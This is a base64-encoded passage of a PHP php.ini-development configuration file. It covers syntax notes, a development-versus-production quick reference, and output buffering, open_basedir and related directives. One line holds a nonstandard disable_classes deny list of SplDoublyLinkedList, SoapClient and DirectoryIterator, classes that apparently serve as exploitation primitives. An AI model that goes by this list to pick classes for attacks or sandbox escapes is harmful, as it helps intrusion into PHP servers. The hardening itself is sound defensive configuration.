UgWE9SCjsgJmFtcDsgIGJpdHdpc2UgQU5ECjsgfiAgYml0d2lzZSBOT1QKOyAhICBib29sZWFuIE5PVAoKOyBCb29sZWFuIGZsYWdzIGNhbiBiZSB0dXJuZWQgb24gdXNpbmcgdGhlIHZhbHVlcyAxLCBPbiwgVHJ1ZSBvciBZZXMuCjsgVGhleSBjYW4gYmUgdHVybmVkIG9mZiB1c2luZyB0aGUgdmFsdWVzIDAsIE9mZiwgRmFsc2Ugb3IgTm8uCgo7IEFuIGVtcHR5IHN0cmluZyBjYW4gYmUgZGVub3RlZCBieSBzaW1wbHkgbm90IHdyaXRpbmcgYW55dGhpbmcgYWZ0ZXIgdGhlIGVxdWFsCjsgc2lnbiwgb3IgYnkgdXNpbmcgdGhlIE5vbmUga2V5d29yZDoKCjsgZm9vID0gICAgICAgICA7IHNldHMgZm9vIHRvIGFuIGVtcHR5IHN0cmluZwo7IGZvbyA9IE5vbmUgICAgOyBzZXRzIGZvbyB0byBhbiBlbXB0eSBzdHJpbmcKOyBmb28gPSAmcXVvdDtOb25lJnF1b3Q7ICA7IHNldHMgZm9vIHRvIHRoZSBzdHJpbmcgJmFwb3M7Tm9uZSZhcG9zOwoKOyBJZiB5b3UgdXNlIGNvbnN0YW50cyBpbiB5b3VyIHZhbHVlLCBhbmQgdGhlc2UgY29uc3RhbnRzIGJlbG9uZyB0byBhCjsgZHluYW1pY2FsbHkgbG9hZGVkIGV4dGVuc2lvbiAoZWl0aGVyIGEgUEhQIGV4dGVuc2lvbiBvciBhIFplbmQgZXh0ZW5zaW9uKSwKOyB5b3UgbWF5IG9ubHkgdXNlIHRoZXNlIGNvbnN0YW50cyAqYWZ0ZXIqIHRoZSBsaW5lIHRoYXQgbG9hZHMgdGhlIGV4dGVuc2lvbi4KCjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBBYm91dCB0aGlzIGZpbGUgOwo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgUEhQIGNvbWVzIHBhY2thZ2VkIHdpdGggdHdvIElOSSBmaWxlcy4gT25lIHRoYXQgaXMgcmVjb21tZW5kZWQgdG8gYmUgdXNlZAo7IGluIHByb2R1Y3Rpb24gZW52aXJvbm1lbnRzIGFuZCBvbmUgdGhhdCBpcyByZWNvbW1lbmRlZCB0byBiZSB1c2VkIGluCjsgZGV2ZWxvcG1lbnQgZW52aXJvbm1lbnRzLgoKOyBwaHAuaW5pLXByb2R1Y3Rpb24gY29udGFpbnMgc2V0dGluZ3Mgd2hpY2ggaG9sZCBzZWN1cml0eSwgcGVyZm9ybWFuY2UgYW5kCjsgYmVzdCBwcmFjdGljZXMgYXQgaXRzIGNvcmUuIEJ1dCBwbGVhc2UgYmUgYXdhcmUsIHRoZXNlIHNldHRpbmdzIG1heSBicmVhawo7IGNvbXBhdGliaWxpdHkgd2l0aCBvbGRlciBvciBsZXNzIHNlY3VyaXR5IGNvbnNjaWVuY2UgYXBwbGljYXRpb25zLiBXZQo7IHJlY29tbWVuZGluZyB1c2luZyB0aGUgcHJvZHVjdGlvbiBpbmkgaW4gcHJvZHVjdGlvbiBhbmQgdGVzdGluZyBlbnZpcm9ubWVudHMuCgo7IHBocC5pbmktZGV2ZWxvcG1lbnQgaXMgdmVyeSBzaW1pbGFyIHRvIGl0cyBwcm9kdWN0aW9uIHZhcmlhbnQsIGV4Y2VwdCBpdCBpcwo7IG11Y2ggbW9yZSB2ZXJib3NlIHdoZW4gaXQgY29tZXMgdG8gZXJyb3JzLiBXZSByZWNvbW1lbmQgdXNpbmcgdGhlCjsgZGV2ZWxvcG1lbnQgdmVyc2lvbiBvbmx5IGluIGRldmVsb3BtZW50IGVudmlyb25tZW50cywgYXMgZXJyb3JzIHNob3duIHRvCjsgYXBwbGljYXRpb24gdXNlcnMgY2FuIGluYWR2ZXJ0ZW50bHkgbGVhayBvdGhlcndpc2Ugc2VjdXJlIGluZm9ybWF0aW9uLgoKOyBUaGlzIGlzIHRoZSBwaHAuaW5pLWRldmVsb3BtZW50IElOSSBmaWxlLgoKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Owo7IFF1aWNrIFJlZmVyZW5jZSA7Cjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBUaGUgZm9sbG93aW5nIGFyZSBhbGwgdGhlIHNldHRpbmdzIHdoaWNoIGFyZSBkaWZmZXJlbnQgaW4gZWl0aGVyIHRoZSBwcm9kdWN0aW9uCjsgb3IgZGV2ZWxvcG1lbnQgdmVyc2lvbnMgb2YgdGhlIElOSXMgd2l0aCByZXNwZWN0IHRvIFBIUCZhcG9zO3MgZGVmYXVsdCBiZWhhdmlvci4KOyBQbGVhc2Ugc2VlIHRoZSBhY3R1YWwgc2V0dGluZ3MgbGF0ZXIgaW4gdGhlIGRvY3VtZW50IGZvciBtb3JlIGRldGFpbHMgYXMgdG8gd2h5Cjsgd2UgcmVjb21tZW5kIHRoZXNlIGNoYW5nZXMgaW4gUEhQJmFwb3M7cyBiZWhhdmlvci4KCjsgZGlzcGxheV9lcnJvcnMKOyAgIERlZmF1bHQgVmFsdWU6IE9uCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogT24KOyAgIFByb2R1Y3Rpb24gVmFsdWU6IE9mZgoKOyBkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzCjsgICBEZWZhdWx0IFZhbHVlOiBPZmYKOyAgIERldmVsb3BtZW50IFZhbHVlOiBPbgo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmCgo7IGVycm9yX3JlcG9ydGluZwo7ICAgRGVmYXVsdCBWYWx1ZTogRV9BTEwgJmFtcDsgfkVfTk9USUNFICZhbXA7IH5FX1NUUklDVCAmYW1wOyB+RV9ERVBSRUNBVEVECjsgICBEZXZlbG9wbWVudCBWYWx1ZTogRV9BTEwKOyAgIFByb2R1Y3Rpb24gVmFsdWU6IEVfQUxMICZhbXA7IH5FX0RFUFJFQ0FURUQgJmFtcDsgfkVfU1RSSUNUCgo7IGh0bWxfZXJyb3JzCjsgICBEZWZhdWx0IFZhbHVlOiBPbgo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6IE9uCjsgICBQcm9kdWN0aW9uIHZhbHVlOiBPbgoKOyBsb2dfZXJyb3JzCjsgICBEZWZhdWx0IFZhbHVlOiBPZmYKOyAgIERldmVsb3BtZW50IFZhbHVlOiBPbgo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogT24KCjsgbWF4X2lucHV0X3RpbWUKOyAgIERlZmF1bHQgVmFsdWU6IC0xIChVbmxpbWl0ZWQpCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogNjAgKDYwIHNlY29uZHMpCjsgICBQcm9kdWN0aW9uIFZhbHVlOiA2MCAoNjAgc2Vjb25kcykKCjsgb3V0cHV0X2J1ZmZlcmluZwo7ICAgRGVmYXVsdCBWYWx1ZTogT2ZmCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogNDA5Ngo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogNDA5NgoKOyByZWdpc3Rlcl9hcmdjX2FyZ3YKOyAgIERlZmF1bHQgVmFsdWU6IE9uCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogT2ZmCjsgICBQcm9kdWN0aW9uIFZhbHVlOiBPZmYKCjsgcmVxdWVzdF9vcmRlcgo7ICAgRGVmYXVsdCBWYWx1ZTogTm9uZQo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6ICZxdW90O0dQJnF1b3Q7CjsgICBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDtHUCZxdW90OwoKOyBzZXNzaW9uLmdjX2Rpdmlzb3IKOyAgIERlZmF1bHQgVmFsdWU6IDEwMAo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6IDEwMDAKOyAgIFByb2R1Y3Rpb24gVmFsdWU6IDEwMDAKCjsgc2Vzc2lvbi5zaWRfYml0c19wZXJfY2hhcmFjdGVyCjsgICBEZWZhdWx0IFZhbHVlOiA0CjsgICBEZXZlbG9wbWVudCBWYWx1ZTogNQo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogNQoKOyBzaG9ydF9vcGVuX3RhZwo7ICAgRGVmYXVsdCBWYWx1ZTogT24KOyAgIERldmVsb3BtZW50IFZhbHVlOiBPZmYKOyAgIFByb2R1Y3Rpb24gVmFsdWU6IE9mZgoKOyB2YXJpYWJsZXNfb3JkZXIKOyAgIERlZmF1bHQgVmFsdWU6ICZxdW90O0VHUENTJnF1b3Q7CjsgICBEZXZlbG9wbWVudCBWYWx1ZTogJnF1b3Q7R1BDUyZxdW90Owo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogJnF1b3Q7R1BDUyZxdW90OwoKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBwaHAuaW5pIE9wdGlvbnMgIDsKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBOYW1lIGZvciB1c2VyLWRlZmluZWQgcGhwLmluaSAoLmh0YWNjZXNzKSBmaWxlcy4gRGVmYXVsdCBpcyAmcXVvdDsudXNlci5pbmkmcXVvdDsKO3VzZXJfaW5pLmZpbGVuYW1lID0gJnF1b3Q7LnVzZXIuaW5pJnF1b3Q7Cgo7IFRvIGRpc2FibGUgdGhpcyBmZWF0dXJlIHNldCB0aGlzIG9wdGlvbiB0byBhbiBlbXB0eSB2YWx1ZQo7dXNlcl9pbmkuZmlsZW5hbWUgPQoKOyBUVEwgZm9yIHVzZXItZGVmaW5lZCBwaHAuaW5pIGZpbGVzICh0aW1lLXRvLWxpdmUpIGluIHNlY29uZHMuIERlZmF1bHQgaXMgMzAwIHNlY29uZHMgKDUgbWludXRlcykKO3VzZXJfaW5pLmNhY2hlX3R0bCA9IDMwMAoKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBMYW5ndWFnZSBPcHRpb25zIDsKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKCjsgRW5hYmxlIHRoZSBQSFAgc2NyaXB0aW5nIGxhbmd1YWdlIGVuZ2luZSB1bmRlciBBcGFjaGUuCjsgaHR0cDovL3BocC5uZXQvZW5naW5lCmVuZ2luZSA9IE9uCgo7IFRoaXMgZGlyZWN0aXZlIGRldGVybWluZXMgd2hldGhlciBvciBub3QgUEhQIHdpbGwgcmVjb2duaXplIGNvZGUgYmV0d2Vlbgo7ICZsdDs/IGFuZCA/Jmd0OyB0YWdzIGFzIFBIUCBzb3VyY2Ugd2hpY2ggc2hvdWxkIGJlIHByb2Nlc3NlZCBhcyBzdWNoLiBJdCBpcwo7IGdlbmVyYWxseSByZWNvbW1lbmRlZCB0aGF0ICZsdDs/cGhwIGFuZCA/Jmd0OyBzaG91bGQgYmUgdXNlZCBhbmQgdGhhdCB0aGlzIGZlYXR1cmUKOyBzaG91bGQgYmUgZGlzYWJsZWQsIGFzIGVuYWJsaW5nIGl0IG1heSByZXN1bHQgaW4gaXNzdWVzIHdoZW4gZ2VuZXJhdGluZyBYTUwKOyBkb2N1bWVudHMsIGhvd2V2ZXIgdGhpcyByZW1haW5zIHN1cHBvcnRlZCBmb3IgYmFja3dhcmQgY29tcGF0aWJpbGl0eSByZWFzb25zLgo7IE5vdGUgdGhhdCB0aGlzIGRpcmVjdGl2ZSBkb2VzIG5vdCBjb250cm9sIHRoZSAmbHQ7Pz0gc2hvcnRoYW5kIHRhZywgd2hpY2ggY2FuIGJlCjsgdXNlZCByZWdhcmRsZXNzIG9mIHRoaXMgZGlyZWN0aXZlLgo7IERlZmF1bHQgVmFsdWU6IE9uCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IE9mZgo7IFByb2R1Y3Rpb24gVmFsdWU6IE9mZgo7IGh0dHA6Ly9waHAubmV0L3Nob3J0LW9wZW4tdGFnCnNob3J0X29wZW5fdGFnID0gT2ZmCgo7IFRoZSBudW1iZXIgb2Ygc2lnbmlmaWNhbnQgZGlnaXRzIGRpc3BsYXllZCBpbiBmbG9hdGluZyBwb2ludCBudW1iZXJzLgo7IGh0dHA6Ly9waHAubmV0L3ByZWNpc2lvbgpwcmVjaXNpb24gPSAxNAoKOyBPdXRwdXQgYnVmZmVyaW5nIGlzIGEgbWVjaGFuaXNtIGZvciBjb250cm9sbGluZyBob3cgbXVjaCBvdXRwdXQgZGF0YQo7IChleGNsdWRpbmcgaGVhZGVycyBhbmQgY29va2llcykgUEhQIHNob3VsZCBrZWVwIGludGVybmFsbHkgYmVmb3JlIHB1c2hpbmcgdGhhdAo7IGRhdGEgdG8gdGhlIGNsaWVudC4gSWYgeW91ciBhcHBsaWNhdGlvbiZhcG9zO3Mgb3V0cHV0IGV4Y2VlZHMgdGhpcyBzZXR0aW5nLCBQSFAKOyB3aWxsIHNlbmQgdGhhdCBkYXRhIGluIGNodW5rcyBvZiByb3VnaGx5IHRoZSBzaXplIHlvdSBzcGVjaWZ5Lgo7IFR1cm5pbmcgb24gdGhpcyBzZXR0aW5nIGFuZCBtYW5hZ2luZyBpdHMgbWF4aW11bSBidWZmZXIgc2l6ZSBjYW4geWllbGQgc29tZQo7IGludGVyZXN0aW5nIHNpZGUtZWZmZWN0cyBkZXBlbmRpbmcgb24geW91ciBhcHBsaWNhdGlvbiBhbmQgd2ViIHNlcnZlci4KOyBZb3UgbWF5IGJlIGFibGUgdG8gc2VuZCBoZWFkZXJzIGFuZCBjb29raWVzIGFmdGVyIHlvdSZhcG9zO3ZlIGFscmVhZHkgc2VudCBvdXRwdXQKOyB0aHJvdWdoIHByaW50IG9yIGVjaG8uIFlvdSBhbHNvIG1heSBzZWUgcGVyZm9ybWFuY2UgYmVuZWZpdHMgaWYgeW91ciBzZXJ2ZXIgaXMKOyBlbWl0dGluZyBsZXNzIHBhY2tldHMgZHVlIHRvIGJ1ZmZlcmVkIG91dHB1dCB2ZXJzdXMgUEhQIHN0cmVhbWluZyB0aGUgb3V0cHV0CjsgYXMgaXQgZ2V0cyBpdC4gT24gcHJvZHVjdGlvbiBzZXJ2ZXJzLCA0MDk2IGJ5dGVzIGlzIGEgZ29vZCBzZXR0aW5nIGZvciBwZXJmb3JtYW5jZQo7IHJlYXNvbnMuCjsgTm90ZTogT3V0cHV0IGJ1ZmZlcmluZyBjYW4gYWxzbyBiZSBjb250cm9sbGVkIHZpYSBPdXRwdXQgQnVmZmVyaW5nIENvbnRyb2wKOyAgIGZ1bmN0aW9ucy4KOyBQb3NzaWJsZSBWYWx1ZXM6CjsgICBPbiA9IEVuYWJsZWQgYW5kIGJ1ZmZlciBpcyB1bmxpbWl0ZWQuIChVc2Ugd2l0aCBjYXV0aW9uKQo7ICAgT2ZmID0gRGlzYWJsZWQKOyAgIEludGVnZXIgPSBFbmFibGVzIHRoZSBidWZmZXIgYW5kIHNldHMgaXRzIG1heGltdW0gc2l6ZSBpbiBieXRlcy4KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gT2ZmIGZvciB0aGUgQ0xJIFNBUEkKOyBEZWZhdWx0IFZhbHVlOiBPZmYKOyBEZXZlbG9wbWVudCBWYWx1ZTogNDA5Ngo7IFByb2R1Y3Rpb24gVmFsdWU6IDQwOTYKOyBodHRwOi8vcGhwLm5ldC9vdXRwdXQtYnVmZmVyaW5nCm91dHB1dF9idWZmZXJpbmcgPSA0MDk2Cgo7IFlvdSBjYW4gcmVkaXJlY3QgYWxsIG9mIHRoZSBvdXRwdXQgb2YgeW91ciBzY3JpcHRzIHRvIGEgZnVuY3Rpb24uICBGb3IKOyBleGFtcGxlLCBpZiB5b3Ugc2V0IG91dHB1dF9oYW5kbGVyIHRvICZxdW90O21iX291dHB1dF9oYW5kbGVyJnF1b3Q7LCBjaGFyYWN0ZXIKOyBlbmNvZGluZyB3aWxsIGJlIHRyYW5zcGFyZW50bHkgY29udmVydGVkIHRvIHRoZSBzcGVjaWZpZWQgZW5jb2RpbmcuCjsgU2V0dGluZyBhbnkgb3V0cHV0IGhhbmRsZXIgYXV0b21hdGljYWxseSB0dXJucyBvbiBvdXRwdXQgYnVmZmVyaW5nLgo7IE5vdGU6IFBlb3BsZSB3aG8gd3JvdGUgcG9ydGFibGUgc2NyaXB0cyBzaG91bGQgbm90IGRlcGVuZCBvbiB0aGlzIGluaQo7ICAgZGlyZWN0aXZlLiBJbnN0ZWFkLCBleHBsaWNpdGx5IHNldCB0aGUgb3V0cHV0IGhhbmRsZXIgdXNpbmcgb2Jfc3RhcnQoKS4KOyAgIFVzaW5nIHRoaXMgaW5pIGRpcmVjdGl2ZSBtYXkgY2F1c2UgcHJvYmxlbXMgdW5sZXNzIHlvdSBrbm93IHdoYXQgc2NyaXB0CjsgICBpcyBkb2luZy4KOyBOb3RlOiBZb3UgY2Fubm90IHVzZSBib3RoICZxdW90O21iX291dHB1dF9oYW5kbGVyJnF1b3Q7IHdpdGggJnF1b3Q7b2JfaWNvbnZfaGFuZGxlciZxdW90Owo7ICAgYW5kIHlvdSBjYW5ub3QgdXNlIGJvdGggJnF1b3Q7b2JfZ3poYW5kbGVyJnF1b3Q7IGFuZCAmcXVvdDt6bGliLm91dHB1dF9jb21wcmVzc2lvbiZxdW90Oy4KOyBOb3RlOiBvdXRwdXRfaGFuZGxlciBtdXN0IGJlIGVtcHR5IGlmIHRoaXMgaXMgc2V0ICZhcG9zO09uJmFwb3M7ICEhISEKOyAgIEluc3RlYWQgeW91IG11c3QgdXNlIHpsaWIub3V0cHV0X2hhbmRsZXIuCjsgaHR0cDovL3BocC5uZXQvb3V0cHV0LWhhbmRsZXIKO291dHB1dF9oYW5kbGVyID0KCjsgVVJMIHJld3JpdGVyIGZ1bmN0aW9uIHJld3JpdGVzIFVSTCBvbiB0aGUgZmx5IGJ5IHVzaW5nCjsgb3V0cHV0IGJ1ZmZlci4gWW91IGNhbiBzZXQgdGFyZ2V0IHRhZ3MgYnkgdGhpcyBjb25maWd1cmF0aW9uLgo7ICZxdW90O2Zvcm0mcXVvdDsgdGFnIGlzIHNwZWNpYWwgdGFnLiBJdCB3aWxsIGFkZCBoaWRkZW4gaW5wdXQgdGFnIHRvIHBhc3MgdmFsdWVzLgo7IFJlZmVyIHRvIHNlc3Npb24udHJhbnNfc2lkX3RhZ3MgZm9yIHVzYWdlLgo7IERlZmF1bHQgVmFsdWU6ICZxdW90O2Zvcm09JnF1b3Q7CjsgRGV2ZWxvcG1lbnQgVmFsdWU6ICZxdW90O2Zvcm09JnF1b3Q7CjsgUHJvZHVjdGlvbiBWYWx1ZTogJnF1b3Q7Zm9ybT0mcXVvdDsKO3VybF9yZXdyaXRlci50YWdzCgo7IFVSTCByZXdyaXRlciB3aWxsIG5vdCByZXdyaXRlIGFic29sdXRlIFVSTCBub3IgZm9ybSBieSBkZWZhdWx0LiBUbyBlbmFibGUKOyBhYnNvbHV0ZSBVUkwgcmV3cml0ZSwgYWxsb3dlZCBob3N0cyBtdXN0IGJlIGRlZmluZWQgYXQgUlVOVElNRS4KOyBSZWZlciB0byBzZXNzaW9uLnRyYW5zX3NpZF9ob3N0cyBmb3IgbW9yZSBkZXRhaWxzLgo7IERlZmF1bHQgVmFsdWU6ICZxdW90OyZxdW90Owo7IERldmVsb3BtZW50IFZhbHVlOiAmcXVvdDsmcXVvdDsKOyBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDsmcXVvdDsKO3VybF9yZXdyaXRlci5ob3N0cwoKOyBUcmFuc3BhcmVudCBvdXRwdXQgY29tcHJlc3Npb24gdXNpbmcgdGhlIHpsaWIgbGlicmFyeQo7IFZhbGlkIHZhbHVlcyBmb3IgdGhpcyBvcHRpb24gYXJlICZhcG9zO29mZiZhcG9zOywgJmFwb3M7b24mYXBvczssIG9yIGEgc3BlY2lmaWMgYnVmZmVyIHNpemUKOyB0byBiZSB1c2VkIGZvciBjb21wcmVzc2lvbiAoZGVmYXVsdCBpcyA0S0IpCjsgTm90ZTogUmVzdWx0aW5nIGNodW5rIHNpemUgbWF5IHZhcnkgZHVlIHRvIG5hdHVyZSBvZiBjb21wcmVzc2lvbi4gUEhQCjsgICBvdXRwdXRzIGNodW5rcyB0aGF0IGFyZSBmZXcgaHVuZHJlZHMgYnl0ZXMgZWFjaCBhcyBhIHJlc3VsdCBvZgo7ICAgY29tcHJlc3Npb24uIElmIHlvdSBwcmVmZXIgYSBsYXJnZXIgY2h1bmsgc2l6ZSBmb3IgYmV0dGVyCjsgICBwZXJmb3JtYW5jZSwgZW5hYmxlIG91dHB1dF9idWZmZXJpbmcgaW4gYWRkaXRpb24uCjsgTm90ZTogWW91IG5lZWQgdG8gdXNlIHpsaWIub3V0cHV0X2hhbmRsZXIgaW5zdGVhZCBvZiB0aGUgc3RhbmRhcmQKOyAgIG91dHB1dF9oYW5kbGVyLCBvciBvdGhlcndpc2UgdGhlIG91dHB1dCB3aWxsIGJlIGNvcnJ1cHRlZC4KOyBodHRwOi8vcGhwLm5ldC96bGliLm91dHB1dC1jb21wcmVzc2lvbgp6bGliLm91dHB1dF9jb21wcmVzc2lvbiA9IE9mZgoKOyBodHRwOi8vcGhwLm5ldC96bGliLm91dHB1dC1jb21wcmVzc2lvbi1sZXZlbAo7emxpYi5vdXRwdXRfY29tcHJlc3Npb25fbGV2ZWwgPSAtMQoKOyBZb3UgY2Fubm90IHNwZWNpZnkgYWRkaXRpb25hbCBvdXRwdXQgaGFuZGxlcnMgaWYgemxpYi5vdXRwdXRfY29tcHJlc3Npb24KOyBpcyBhY3RpdmF0ZWQgaGVyZS4gVGhpcyBzZXR0aW5nIGRvZXMgdGhlIHNhbWUgYXMgb3V0cHV0X2hhbmRsZXIgYnV0IGluCjsgYSBkaWZmZXJlbnQgb3JkZXIuCjsgaHR0cDovL3BocC5uZXQvemxpYi5vdXRwdXQtaGFuZGxlcgo7emxpYi5vdXRwdXRfaGFuZGxlciA9Cgo7IEltcGxpY2l0IGZsdXNoIHRlbGxzIFBIUCB0byB0ZWxsIHRoZSBvdXRwdXQgbGF5ZXIgdG8gZmx1c2ggaXRzZWxmCjsgYXV0b21hdGljYWxseSBhZnRlciBldmVyeSBvdXRwdXQgYmxvY2suICBUaGlzIGlzIGVxdWl2YWxlbnQgdG8gY2FsbGluZyB0aGUKOyBQSFAgZnVuY3Rpb24gZmx1c2goKSBhZnRlciBlYWNoIGFuZCBldmVyeSBjYWxsIHRvIHByaW50KCkgb3IgZWNobygpIGFuZCBlYWNoCjsgYW5kIGV2ZXJ5IEhUTUwgYmxvY2suICBUdXJuaW5nIHRoaXMgb3B0aW9uIG9uIGhhcyBzZXJpb3VzIHBlcmZvcm1hbmNlCjsgaW1wbGljYXRpb25zIGFuZCBpcyBnZW5lcmFsbHkgcmVjb21tZW5kZWQgZm9yIGRlYnVnZ2luZyBwdXJwb3NlcyBvbmx5Lgo7IGh0dHA6Ly9waHAubmV0L2ltcGxpY2l0LWZsdXNoCjsgTm90ZTogVGhpcyBkaXJlY3RpdmUgaXMgaGFyZGNvZGVkIHRvIE9uIGZvciB0aGUgQ0xJIFNBUEkKaW1wbGljaXRfZmx1c2ggPSBPZmYKCjsgVGhlIHVuc2VyaWFsaXplIGNhbGxiYWNrIGZ1bmN0aW9uIHdpbGwgYmUgY2FsbGVkICh3aXRoIHRoZSB1bmRlZmluZWQgY2xhc3MmYXBvczsKOyBuYW1lIGFzIHBhcmFtZXRlciksIGlmIHRoZSB1bnNlcmlhbGl6ZXIgZmluZHMgYW4gdW5kZWZpbmVkIGNsYXNzCjsgd2hpY2ggc2hvdWxkIGJlIGluc3RhbnRpYXRlZC4gQSB3YXJuaW5nIGFwcGVhcnMgaWYgdGhlIHNwZWNpZmllZCBmdW5jdGlvbiBpcwo7IG5vdCBkZWZpbmVkLCBvciBpZiB0aGUgZnVuY3Rpb24gZG9lc24mYXBvczt0IGluY2x1ZGUvaW1wbGVtZW50IHRoZSBtaXNzaW5nIGNsYXNzLgo7IFNvIG9ubHkgc2V0IHRoaXMgZW50cnksIGlmIHlvdSByZWFsbHkgd2FudCB0byBpbXBsZW1lbnQgc3VjaCBhCjsgY2FsbGJhY2stZnVuY3Rpb24uCnVuc2VyaWFsaXplX2NhbGxiYWNrX2Z1bmMgPQoKOyBXaGVuIGZsb2F0cyAmYW1wOyBkb3VibGVzIGFyZSBzZXJpYWxpemVkLCBzdG9yZSBzZXJpYWxpemVfcHJlY2lzaW9uIHNpZ25pZmljYW50CjsgZGlnaXRzIGFmdGVyIHRoZSBmbG9hdGluZyBwb2ludC4gVGhlIGRlZmF1bHQgdmFsdWUgZW5zdXJlcyB0aGF0IHdoZW4gZmxvYXRzCjsgYXJlIGRlY29kZWQgd2l0aCB1bnNlcmlhbGl6ZSwgdGhlIGRhdGEgd2lsbCByZW1haW4gdGhlIHNhbWUuCjsgVGhlIHZhbHVlIGlzIGFsc28gdXNlZCBmb3IganNvbl9lbmNvZGUgd2hlbiBlbmNvZGluZyBkb3VibGUgdmFsdWVzLgo7IElmIC0xIGlzIHVzZWQsIHRoZW4gZHRvYSBtb2RlIDAgaXMgdXNlZCB3aGljaCBhdXRvbWF0aWNhbGx5IHNlbGVjdCB0aGUgYmVzdAo7IHByZWNpc2lvbi4Kc2VyaWFsaXplX3ByZWNpc2lvbiA9IC0xCgo7IG9wZW5fYmFzZWRpciwgaWYgc2V0LCBsaW1pdHMgYWxsIGZpbGUgb3BlcmF0aW9ucyB0byB0aGUgZGVmaW5lZCBkaXJlY3RvcnkKOyBhbmQgYmVsb3cuICBUaGlzIGRpcmVjdGl2ZSBtYWtlcyBtb3N0IHNlbnNlIGlmIHVzZWQgaW4gYSBwZXItZGlyZWN0b3J5Cjsgb3IgcGVyLXZpcnR1YWxob3N0IHdlYiBzZXJ2ZXIgY29uZmlndXJhdGlvbiBmaWxlLgo7IE5vdGU6IGRpc2FibGVzIHRoZSByZWFscGF0aCBjYWNoZQo7IGh0dHA6Ly9waHAubmV0L29wZW4tYmFzZWRpcgpvcGVuX2Jhc2VkaXIgPSAKCjsgVGhpcyBkaXJlY3RpdmUgYWxsb3dzIHlvdSB0byBkaXNhYmxlIGNlcnRhaW4gZnVuY3Rpb25zIGZvciBzZWN1cml0eSByZWFzb25zLgo7IEl0IHJlY2VpdmVzIGEgY29tbWEtZGVsaW1pdGVkIGxpc3Qgb2YgZnVuY3Rpb24gbmFtZXMuCjsgaHR0cDovL3BocC5uZXQvZGlzYWJsZS1mdW5jdGlvbnMKZGlzYWJsZV9mdW5jdGlvbnMgPSAKCjsgVGhpcyBkaXJlY3RpdmUgYWxsb3dzIHlvdSB0byBkaXNhYmxlIGNlcnRhaW4gY2xhc3NlcyBmb3Igc2VjdXJpdHkgcmVhc29ucy4KOyBJdCByZWNlaXZlcyBhIGNvbW1hLWRlbGltaXRlZCBsaXN0IG9mIGNsYXNzIG5hbWVzLgo7IGh0dHA6Ly9waHAubmV0L2Rpc2FibGUtY2xhc3NlcwpkaXNhYmxlX2NsYXNzZXMgPSBTcGxEb3VibHlMaW5rZWRMaXN0LFNvYXBDbGllbnQsRGlyZWN0b3J5SXRlcmF0b3IKCjsgQ29sb3JzIGZvciBTeW50YXggSGlnaGxpZ2h0aW5nIG1vZGUuICBBbnl0aGluZyB0aGF0JmFwb3M7cyBhY2NlcHRhYmxlIGluCjsgJmx0O3NwYW4gc3R5bGU9JnF1b3Q7Y29sb3I6ID8/Pz8/Pz8mcXVvdDsmZ3Q7IHdvdWxkIHdvcmsuCjsgaHR0cDovL3BocC5uZXQvc3ludGF4LWhpZ2hsaWdodGluZwo7aGlnaGxpZ2h0LnN0cmluZyAgPSAjREQwMDAwCjtoaWdobGlnaHQuY29tbWVudCA9ICNGRjk5MDAKO2hpZ2hsaWdodC5rZXl3b3JkID0gIzAwNzcwMAo7aGlnaGxpZ2h0LmRlZmF1bHQgPSAjMDAwMEJCCjtoaWdobGlnaHQuaHRtbCAgICA9ICMwMDAwMDAKCjsgSWYgZW5hYmxlZCwgdGhlIHJlcXVlc3Qgd2lsbCBiZSBhbGxvd2VkIHRvIGNvbXBsZXRlIGV2ZW4gaWYgdGhlIHVzZXIgYWJvcnRzCjsgdGhlIHJlcXVlc3QuIENvbnNpZGVyIGVuYWJsaW5nIGl0IGlmIGV4ZWN1dGluZyBsb25nIHJlcXVlc3RzLCB3aGljaCBtYXkgZW5kIHVwCjsgYmVpbmcgaW50ZXJydXB0ZWQgYnkgdGhlIHVzZXIgb3IgYSBicm93c2VyIHRpbWluZyBvdXQuIFBIUCZhcG9zO3MgZGVmYXVsdCBiZWhhdmlvcgo7IGlzIHRvIGRpc2FibGUgdGhpcyBmZWF0dXJlLgo7IGh0dHA6Ly9waHAubmV0L2lnbm9yZS11c2VyLWFib3J0CjtpZ25vcmVfdXNlcl9hYm9ydCA9IE9uCgo7IERldGVybWluZXMgdGhlIHNpemUgb2YgdGhlIHJlYWxwYXRoIGNhY2hlIHRvIGJlIHVzZWQgYnkgUEhQLiBUaGlzIHZhbHVlIHNob3VsZAo7IGJlIGluY3JlYXNlZCBvbiBzeXN0ZW1zIHdoZXJlIFBIUCBvcGVucyBtYW55IGZpbGVzIHRvIHJlZmxlY3QgdGhlIHF1YW50aXR5IG9mCjsgdGhlIGZpbGUgb3BlcmF0aW9ucyBwZXJmb3JtZWQuCjsgTm90ZTogaWYgb3Blbl9iYXNlZGlyIGlzIHNldCwgdGhlIGNhY2hlIGlzIGRpc2FibGVkCjsgaHR0cDovL3BocC5uZXQvcmVhbHBhdGgtY2FjaGUtc2l6ZQo7cmVhbHBhdGhfY2FjaGVfc2l6ZSA9IDQwOTZrCgo7IER1cmF0aW9uIG9mIHRpbWUsIGluIHNlY29uZHMgZm9yIHdoaWNoIHRvIGNhY2hlIHJlYWxwYXRoIGluZm9ybWF0aW9uIGZvciBh